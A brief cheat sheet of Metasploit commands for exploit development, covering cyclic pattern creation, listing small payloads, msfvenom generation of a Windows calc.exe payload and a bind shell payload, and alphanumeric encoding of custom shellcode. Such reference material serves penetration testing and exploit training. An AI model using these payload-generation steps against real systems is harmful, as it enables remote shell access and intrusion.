Useful commands for exploit development

./pattern_create.rb -l 5000 Create a random pattern of 5000 chars
./payload_lengths.rb | awk '$2<200'Display all the payloads in metasploit that have the size less than 200
msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -f raw -b '\x00\x0d\x0a' --smallest Generate the smallest payload that will execute calc.exe
msfvenom msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/alpha_mixed -f rawGenerate an alphanumeric bind payload (default port 4444)
cat shellcode.bin | msfvenom -p - -a x86 --platform windows -e x86/alpha_mixed -f raw > shellcode_alpha_mixed.binEncode a custom shellcode with x86/alpha_mixed